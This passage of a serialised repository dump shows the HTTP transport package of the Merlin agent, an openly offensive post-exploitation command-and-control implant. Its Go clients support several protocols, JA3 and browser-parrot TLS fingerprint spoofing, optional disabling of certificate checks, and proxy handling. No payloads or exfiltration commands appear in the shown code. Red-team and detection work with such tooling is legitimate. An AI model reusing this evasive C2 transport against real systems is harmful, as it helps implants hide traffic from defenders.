h1:vg+k43peMZ0pUMhYmVAWysMK35e6ioLh3wB8ZCAfbVc=\ngolang.org/x/exp v0.0.0-20250408133849-7e4ce0ab07d0 h1:R84qjqJb5nVJMxqWYb3np9L5ZsaDtB+a39EqjV0JSUM=\ngolang.org/x/exp v0.0.0-20250408133849-7e4ce0ab07d0/go.mod h1:S9Xr4PYopiDyqSyp5NjCrhFrqg6A5zA2E/iPHPhqnS8=\ngolang.org/x/mod v0.6.0-dev.0.20220419223038-86c51ed26bb4/go.mod h1:jJ57K6gSWd91VN4djpZkiMVwK6gcyfeH4XE8wZrZaV4=\ngolang.org/x/mod v0.8.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs=\ngolang.org/x/mod v0.24.0 h1:ZfthKaKaT4NrhGVZHO1/WDTwGES4De8KtWO0SIbNJMU=\ngolang.org/x/mod v0.24.0/go.mod h1:IXM97Txy2VM4PJ3gI61r1YEk/gAj6zAHN3AdZt6S9Ww=\ngolang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=\ngolang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s=\ngolang.org/x/net v0.0.0-20210226172049-e18ecbb05110/go.mod h1:m0MpNAwzfU5UDzcl9v0D8zg8gWTRqZa9RBIspLL5mdg=\ngolang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=\ngolang.org/x/net v0.6.0/go.mod h1:2Tu9+aMcznHK/AK1HMvgo6xiTLG5rD5rZLDS+rp2Bjs=\ngolang.org/x/net v0.10.0/go.mod h1:0qNGK6F8kojg2nk9dLZ2mShWaEBan6FAoqfSigmmuDg=\ngolang.org/x/net v0.39.0 h1:ZCu7HMWDxpXpaiKdhzIfaltL9Lp31x/3fCP11bc6/fY=\ngolang.org/x/net v0.39.0/go.mod h1:X7NRbYVEA+ewNkCNyJ513WmMdQ3BineSwVtN2zD/d+E=\ngolang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.0.0-20220722155255-886fb9371eb4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM=\ngolang.org/x/sync v0.13.0 h1:AauUjRAJ9OSnvULf/ARrrVywoJDy0YS2AwQ98I37610=\ngolang.org/x/sync v0.13.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA=\ngolang.org/x/sys v0.0.0-20190124100055-b90733256f2e/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200625212154-ddb9806d33ae/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20200828194041-157a740278f4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20201119102817-f84b799fce68/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20210615035016-665e8c7367d1/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20220330033206-e17cdc41300f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20220520151302-bc2c85ada10a/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20220722155257-8c9f86f7a55f/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.0.0-20220811171246-fbc7d0a398ab/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.5.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.6.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.8.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg=\ngolang.org/x/sys v0.17.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=\ngolang.org/x/sys v0.32.0 h1:s77OFDvIQeibCmezSnk/q6iAfkdiQaJi4VzroCFrN20=\ngolang.org/x/sys v0.32.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k=\ngolang.org/x/term v0.0.0-20201126162022-7de9c90e9dd1/go.mod h1:bj7SfCRtBDWHUb9snDiAeCFNEtKQo2Wmx5Cou7ajbmo=\ngolang.org/x/term v0.0.0-20210927222741-03fcf44c2211/go.mod h1:jbD1KX2456YbFQfuXm/mYQcufACuNUgVhRMnK/tPxf8=\ngolang.org/x/term v0.5.0/go.mod h1:jMB1sMXY+tzblOD4FWmEbocvup2/aLOaQEp7JmGp78k=\ngolang.org/x/term v0.8.0/go.mod h1:xPskH00ivmX89bAKVGSKKtLOWNx2+17Eiy94tnKShWo=\ngolang.org/x/term v0.17.0/go.mod h1:lLRBjIVuehSbZlaOtGMbcMncT+aqLLLmKrsjNrUguwk=\ngolang.org/x/term v0.31.0 h1:erwDkOK1Msy6offm1mOgvspSkslFnIGsFnxOKoufg3o=\ngolang.org/x/term v0.31.0/go.mod h1:R4BeIy7D95HzImkxGkTW1UQTtP54tio2RyHz7PwK0aw=\ngolang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=\ngolang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ=\ngolang.org/x/text v0.3.7/go.mod h1:u+2+/6zg+i71rQMx5EYifcz6MCKuco9NR6JIITiCfzQ=\ngolang.org/x/text v0.7.0/go.mod h1:mrYo+phRRbMaCq/xk9113O4dZlRixOauAjOtrjsXDZ8=\ngolang.org/x/text v0.9.0/go.mod h1:e1OnstbJyHTd6l/uOt8jFFHp6TRDWZR/bV3emEE/zU8=\ngolang.org/x/text v0.14.0/go.mod h1:18ZOQIKpY8NJVqYksKHtTdi31H5itFRjB5/qKTNYzSU=\ngolang.org/x/text v0.24.0 h1:dd5Bzh4yt5KYA8f9CJHCP4FB4D51c2c6JvN37xJJkJ0=\ngolang.org/x/text v0.24.0/go.mod h1:L8rBsPeo2pSS+xqN0d5u2ikmjtmoJbDBT1b7nHvFCdU=\ngolang.org/x/time v0.5.0 h1:o7cqy6amK/52YcAKIPlM3a+Fpj35zvRj2TP+e1xFSfk=\ngolang.org/x/time v0.5.0/go.mod h1:3BpzKBy/shNhVucY/MWOyx10tF3SFh9QdLuxbVysPQM=\ngolang.org/x/tools v0.0.0-20180917221912-90fa682c2a6e/go.mod h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ=\ngolang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo=\ngolang.org/x/tools v0.1.12/go.mod h1:hNGJHUnrk76NpqgfD5Aqm5Crs+Hm0VOH/i9J2+nxYbc=\ngolang.org/x/tools v0.6.0/go.mod h1:Xwgl3UAJ/d3gWutnCtw505GrjyAbvKui8lOU390QaIU=\ngolang.org/x/tools v0.32.0 h1:Q7N1vhpkQv7ybVzLFtTjvQya2ewbwNDZzUgfXGqtMWU=\ngolang.org/x/tools v0.32.0/go.mod h1:ZxrU41P/wAbZD8EDa6dDCa6XfpkhJ7HFMjHJXfBDu8s=\ngolang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0=\ngoogle.golang.org/protobuf v1.36.5 h1:tPhr+woSbjfYvY6/GPufUoYizxw1cF/yFoxJ2fmpwlM=\ngoogle.golang.org/protobuf v1.36.5/go.mod h1:9fA7Ob0pmnwhb644+1+CVWFRbNajQ6iRojtC/QF5bRE=\ngopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0=\ngopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\ngopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=\ngopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=\n"
  },
  {
    "path": "http/http.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package http provides HTTP clients for various HTTP protocols and operating systems\npackage http\n\nimport (\n\t// Standard\n\t\"fmt\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/http/http3\"\n\t\"net/http\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/http/http1\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/http/http2\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/http/proxy\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/http/utls\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/http/winhttp\"\n)\n\n// Type is the type of HTTP client to use from the constants in this package (e.g., HTTP, H2C, WINHTTP, etc.)\ntype Type int\n\n// Supported protocols\nconst (\n\t// UNDEFINED is the default value when a Type was not set\n\tUNDEFINED Type = iota\n\t// HTTP is HTTP/1.1 Clear-Text protocol\n\tHTTP\n\t// HTTPS is HTTP/1.1 Secure (over SSL/TLS) protocol\n\tHTTPS\n\t// H2C is HTTP/2.0 Clear-Text protocol\n\tH2C\n\t// HTTP2 is HTTP/2.0 Secure (over SSL/TLS)\n\tHTTP2\n\t// HTTP3 is HTTP/2.0 Secure over Quick UDP Internet Connection (QUIC)\n\tHTTP3\n\t// WINHTTP uses the Windows WinHTTP API\n\tWINHTTP\n\t// WININET uses the Windows WinINet API\n\tWININET\n\t// JA3 uses the JA3 fingerprinting library\n\tJA3\n\t// PARROT uses the Parrot HTTP client\n\tPARROT\n)\n\n// Config is the configuration for the HTTP client\ntype Config struct {\n\tClientType Type\n\tInsecure   bool\n\tJA3        string\n\tParrot     string\n\tProtocol   string\n\tProxyURL   string\n\tProxyUser  string\n\tProxyPass  string\n}\n\n// Client is the interface for the HTTP client designed to mimic the http.Client\ntype Client interface {\n\tDo(req *http.Request) (*http.Response, error)\n}\n\n// NewHTTPClient creates a new HTTP client that implements the Client interface based on the configuration\nfunc NewHTTPClient(config Config) (client Client, err error) {\n\tswitch config.ClientType {\n\tcase HTTP, HTTPS:\n\t\treturn http1.NewHTTPClient(config.Protocol, config.ProxyURL, config.Insecure)\n\tcase HTTP2, H2C:\n\t\treturn http2.NewHTTPClient(config.Protocol, config.Insecure)\n\tcase HTTP3:\n\t\treturn http3.NewHTTPClient(config.Insecure)\n\tcase WINHTTP:\n\t\treturn winhttp.NewHTTPClient(config.Protocol, config.ProxyURL, config.Insecure)\n\tcase JA3:\n\t\t// Proxy\n\t\tproxyFunc, errProxy := proxy.GetProxy(config.Protocol, config.ProxyURL)\n\t\tif errProxy != nil {\n\t\t\treturn nil, errProxy\n\t\t}\n\n\t\tvar transport *utls.Transport\n\t\ttransport, err = utls.NewTransportFromJA3(config.JA3, config.Insecure, proxyFunc)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn &http.Client{Transport: transport}, nil\n\tcase PARROT:\n\t\t// Proxy\n\t\tproxyFunc, errProxy := proxy.GetProxy(config.Protocol, config.ProxyURL)\n\t\tif errProxy != nil {\n\t\t\treturn nil, errProxy\n\t\t}\n\n\t\tvar transport *utls.Transport\n\t\ttransport, err = utls.NewTransportFromParrot(config.Parrot, config.Insecure, proxyFunc)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\treturn &http.Client{Transport: transport}, nil\n\tcase UNDEFINED:\n\t\treturn nil, fmt.Errorf(\"http/http.go/NewHTTPClient(): client type was not set\")\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"http/http.go/NewHTTPClient(): client type '%s:%d' is un handled\", config.ClientType, config.ClientType)\n\t}\n}\n\n// String converts a protocol type constant to its string representation\nfunc (t Type) String() string {\n\tswitch t {\n\tcase UNDEFINED:\n\t\treturn \"UNDEFINED\"\n\tcase HTTP:\n\t\treturn \"HTTP\"\n\tcase HTTPS:\n\t\treturn \"HTTPS\"\n\tcase H2C:\n\t\treturn \"H2C\"\n\tcase HTTP2:\n\t\treturn \"HTTP2\"\n\tcase HTTP3:\n\t\treturn \"HTTP3\"\n\tcase WINHTTP:\n\t\treturn \"WINHTTP\"\n\tcase WININET:\n\t\treturn \"WININET\"\n\tcase JA3:\n\t\treturn \"JA3\"\n\tcase PARROT:\n\t\treturn \"PARROT\"\n\tdefault:\n\t\treturn \"UNDEFINED\"\n\t}\n}\n"
  },
  {
    "path": "http/http1/http1.go",
    "content": "//go:build http || http1 || mythic || !(http2 || http3 || winhttp || smb || tcp || udp)\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package http1 provides an HTTP/1.1 client using the Go standard library\npackage http1\n\nimport (\n\t// Standard\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"strings\"\n\t\"time\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n\t\"github.com/Ne0nd0g/merlin-agent/v2/http/proxy\"\n)\n\n// NewHTTPClient returns an HTTP/1.1 client using the Go standard library\nfunc NewHTTPClient(protocol, proxyURL string, insecure bool) (*http.Client, error) {\n\tcli.Message(cli.DEBUG, \"http/http1/http1.go/NewHTTPClient(): Entering into function...\")\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Protocol: %s, Proxy: %s, insecure: %t\", protocol, proxyURL, insecure))\n\t// Setup TLS configuration\n\tTLSConfig := &tls.Config{\n\t\tMinVersion:         tls.VersionTLS12,\n\t\tInsecureSkipVerify: insecure, // #nosec G402 - intentionally configurable to allow self-signed certificates. See https://github.com/Ne0nd0g/merlin/issues/59\n\t\tCipherSuites: []uint16{\n\t\t\ttls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,\n\t\t\ttls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,\n\t\t},\n\t}\n\n\t// Proxy\n\tproxyFunc, errProxy := proxy.GetProxy(protocol, proxyURL)\n\tif errProxy != nil {\n\t\treturn nil, errProxy\n\t}\n\n\tvar transport http.RoundTripper\n\tswitch strings.ToLower(protocol) {\n\tcase \"https\":\n\t\tTLSConfig.NextProtos = []string{\"http/1.1\"} // https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#alpn-protocol-ids\n\t\ttransport = &http.Transport{\n\t\t\tTLSClientConfig: TLSConfig,\n\t\t\tMaxIdleConns:    10,\n\t\t\tProxy:           proxyFunc,\n\t\t\tIdleConnTimeout: 1 * time.Nanosecond,\n\t\t}\n\tcase \"http\":\n\t\ttransport = &http.Transport{\n\t\t\tMaxIdleConns:    10,\n\t\t\tProxy:           proxyFunc,\n\t\t\tIdleConnTimeout: 1 * time.Nanosecond,\n\t\t}\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"%s is not a valid client protocol\", protocol)\n\t}\n\treturn &http.Client{Transport: transport}, nil\n}\n"
  },
  {
    "path": "http/http1/http1_exclude.go",
    "content": "//go:build !http1 && !mythic && (http2 || http3 || winhttp || smb || tcp || udp)\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package http1 provides an HTTP/1.1 client using the Go standard library\npackage http1\n\nimport (\n\t\"fmt\"\n\t\"net/http\"\n)\n\n// NewHTTPClient returns an HTTP/1.1 client using the Go standard library\nfunc NewHTTPClient(protocol, proxyURL string, insecure bool) (*http.Client, error) {\n\treturn nil, fmt.Errorf(\"http/http1/http1_exclude.go/NewHTTPClient(): HTTP/1 client not compiled into this program\")\n}\n"
  },
  {
    "path": "http/http2/http2.go",
    "content": "//go:build http || http2 || !(http3 || mythic || winhttp || smb || tcp || udp)\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package http2 provides an HTTP/2 client\npackage http2\n\nimport (\n\t// Standard\n\t\"context\"\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"net\"\n\t\"net/http\"\n\t\"strings\"\n\n\t// X Packages\n\t\"golang.org/x/net/http2\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n)\n\n// NewHTTPClient returns an HTTP/2 client\nfunc NewHTTPClient(protocol string, insecure bool) (*http.Client, error) {\n\tcli.Message(cli.DEBUG, \"http/http2/http2.go/NewHTTPClient(): Entering into function...\")\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Protocol: %s, Insecure: %t\", protocol, insecure))\n\t// Setup TLS configuration\n\tTLSConfig := &tls.Config{\n\t\tMinVersion:         tls.VersionTLS12,\n\t\tInsecureSkipVerify: insecure, // #nosec G402 - intentionally configurable to allow self-signed certificates. See https://github.com/Ne0nd0g/merlin/issues/59\n\t\tCipherSuites: []uint16{\n\t\t\ttls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,\n\t\t\ttls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,\n\t\t},\n\t}\n\n\tvar transport http.RoundTripper\n\tswitch strings.ToLower(protocol) {\n\tcase \"h2\", \"http2\":\n\t\tTLSConfig.NextProtos = []string{\"h2\"} // https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#alpn-protocol-ids\n\t\ttransport = &http2.Transport{\n\t\t\tTLSClientConfig: TLSConfig,\n\t\t}\n\tcase \"h2c\":\n\t\ttransport = &http2.Transport{\n\t\t\tAllowHTTP: true,\n\t\t\tDialTLSContext: func(ctx context.Context, network, addr string, cfg *tls.Config) (net.Conn, error) {\n\t\t\t\treturn net.Dial(network, addr)\n\t\t\t},\n\t\t}\n\tdefault:\n\t\treturn nil, fmt.Errorf(\"%s is not a valid client protocol\", protocol)\n\t}\n\treturn &http.Client{Transport: transport}, nil\n}\n"
  },
  {
    "path": "http/http2/http2_exclude.go",
    "content": "//go:build !http2 && (http3 || mythic || winhttp || smb || tcp || udp)\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage http2\n\nimport (\n\t// Standard\n\t\"fmt\"\n\t\"net/http\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n)\n\n// NewHTTPClient returns an HTTP/1.1 client using the Go standard library\n// NewHTTPClient returns an HTTP/2 client\nfunc NewHTTPClient(protocol string, insecure bool) (*http.Client, error) {\n\tcli.Message(cli.DEBUG, \"http/http2/http2_exclude.go/NewHTTPClient(): Entering into function...\")\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Protocol: %s, Insecure: %t\", protocol, insecure))\n\treturn nil, fmt.Errorf(\"http/http2/http2_exclude.go/NewHTTPClient(): HTTP/2 client not compiled into this program\")\n}\n"
  },
  {
    "path": "http/http3/http3.go",
    "content": "//go:build http || http3 || !(http2 || mythic || winhttp || smb || tcp || udp)\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\n// Package http3 provides an HTTP/2 over QUIC, known as HTTP/3, client\npackage http3\n\nimport (\n\t// Standard\n\t\"crypto/tls\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"time\"\n\n\t// 3rd Party\n\t\"github.com/quic-go/quic-go\"\n\t\"github.com/quic-go/quic-go/http3\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n)\n\n// NewHTTPClient returns an HTTP/3 client\nfunc NewHTTPClient(insecure bool) (*http.Client, error) {\n\tcli.Message(cli.DEBUG, \"http/http3/http3.go/NewHTTPClient(): Entering into function...\")\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Insecure: %t\", insecure))\n\t// Setup TLS configuration\n\tTLSConfig := &tls.Config{\n\t\tMinVersion:         tls.VersionTLS12,\n\t\tInsecureSkipVerify: insecure, // #nosec G402 - intentionally configurable to allow self-signed certificates. See https://github.com/Ne0nd0g/merlin/issues/59\n\t\tCipherSuites: []uint16{\n\t\t\ttls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,\n\t\t\ttls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,\n\t\t},\n\t}\n\n\tTLSConfig.NextProtos = []string{\"h3\"} // https://www.iana.org/assignments/tls-extensiontype-values/tls-extensiontype-values.xhtml#alpn-protocol-ids\n\ttransport := &http3.RoundTripper{\n\t\tQUICConfig: &quic.Config{\n\t\t\t// Opted for a long timeout to prevent the client from sending a PING Frame.\n\t\t\t// If MaxIdleTimeout is too high, agent will never get an error if the server is offline and will perpetually run without exiting because MaxFailedCheckins is never incremented\n\t\t\tMaxIdleTimeout: time.Second * 30,\n\t\t\t// KeepAlivePeriod will send an HTTP/2 PING frame to keep the connection alive\n\t\t\t// If this isn't used, and the agent's sleep is greater than the MaxIdleTimeout, then the connection will time out\n\t\t\tKeepAlivePeriod: time.Second * 30,\n\t\t\t// HandshakeIdleTimeout is how long the client will wait to hear back while setting up the initial crypto handshake w/ server\n\t\t\tHandshakeIdleTimeout: time.Second * 30,\n\t\t},\n\t\tTLSClientConfig: TLSConfig,\n\t}\n\treturn &http.Client{Transport: transport}, nil\n}\n"
  },
  {
    "path": "http/http3/http3_exclude.go",
    "content": "//go:build !http3 && (http2 || mythic || winhttp || smb || tcp || udp)\n\n/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage http3\n\nimport (\n\t// Standard\n\t\"fmt\"\n\t\"net/http\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n)\n\n// NewHTTPClient returns an HTTP/3 client\nfunc NewHTTPClient(insecure bool) (*http.Client, error) {\n\tcli.Message(cli.DEBUG, \"http/http3/http3_exclude.go/NewHTTPClient(): Entering into function...\")\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Insecure: %t\", insecure))\n\treturn nil, fmt.Errorf(\"http/http3/http3_exclude.go/NewHTTPClient(): HTTP/3 client not compiled into this program\")\n}\n"
  },
  {
    "path": "http/proxy/proxy.go",
    "content": "/*\nMerlin is a post-exploitation command and control framework.\n\nThis file is part of Merlin.\nCopyright (C) 2024 Russel Van Tuyl\n\nMerlin is free software: you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation, either version 3 of the License, or\nany later version.\n\nMerlin is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with Merlin.  If not, see <http://www.gnu.org/licenses/>.\n*/\n\npackage proxy\n\nimport (\n\t// Standard\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n\t\"strings\"\n\n\t// Internal\n\t\"github.com/Ne0nd0g/merlin-agent/v2/cli\"\n)\n\n// GetProxy returns a proxy function for the passed in protocol and proxy URL if any\n// Reads the HTTP_PROXY and HTTPS_PROXY environment variables if no proxy URL was passed in\nfunc GetProxy(protocol string, proxyURL string) (func(*http.Request) (*url.URL, error), error) {\n\tcli.Message(cli.DEBUG, \"Entering into clients.http.getProxy()...\")\n\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Protocol: %s, Proxy: %s\", protocol, proxyURL))\n\n\t// The HTTP/2 protocol does not support proxies\n\tif strings.ToLower(protocol) != \"http\" && strings.ToLower(protocol) != \"https\" {\n\t\tif proxyURL != \"\" {\n\t\t\treturn nil, fmt.Errorf(\"clients/http.getProxy(): %s protocol does not support proxies; use http or https protocol\", protocol)\n\t\t}\n\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"clients/http.getProxy(): %s protocol does not support proxies, continuing without proxy (if any)\", protocol))\n\t\treturn nil, nil\n\t}\n\n\tvar proxy func(*http.Request) (*url.URL, error)\n\n\tif proxyURL != \"\" {\n\t\trawURL, errProxy := url.Parse(proxyURL)\n\t\tif errProxy != nil {\n\t\t\treturn nil, fmt.Errorf(\"there was an error parsing the proxy string:\\n%s\", errProxy.Error())\n\t\t}\n\t\tcli.Message(cli.DEBUG, fmt.Sprintf(\"Parsed Proxy URL: %+v\", rawURL))\n\t\tproxy = http.ProxyURL(rawURL)\n\t\treturn proxy, nil\n\t}\n\n\t// Check for, and use, HTTP_PROXY, HTTPS_PROXY and NO_PROXY environment variables\n\tvar p string\n\tswitch strings.ToLower(protocol) {\n\tcase \"http\":\n\t\tp = os.Getenv(\"HTTP_PROXY\")\n\tcase \"https\":\n\t\tp = os.Getenv(\"HTTPS_PROXY\")\n\t}\n\n\tif p != \"\" {\n\t\tcli.Message(cli.NOTE,\n\t\t\tfmt.Sprintf(\"Using proxy from environment 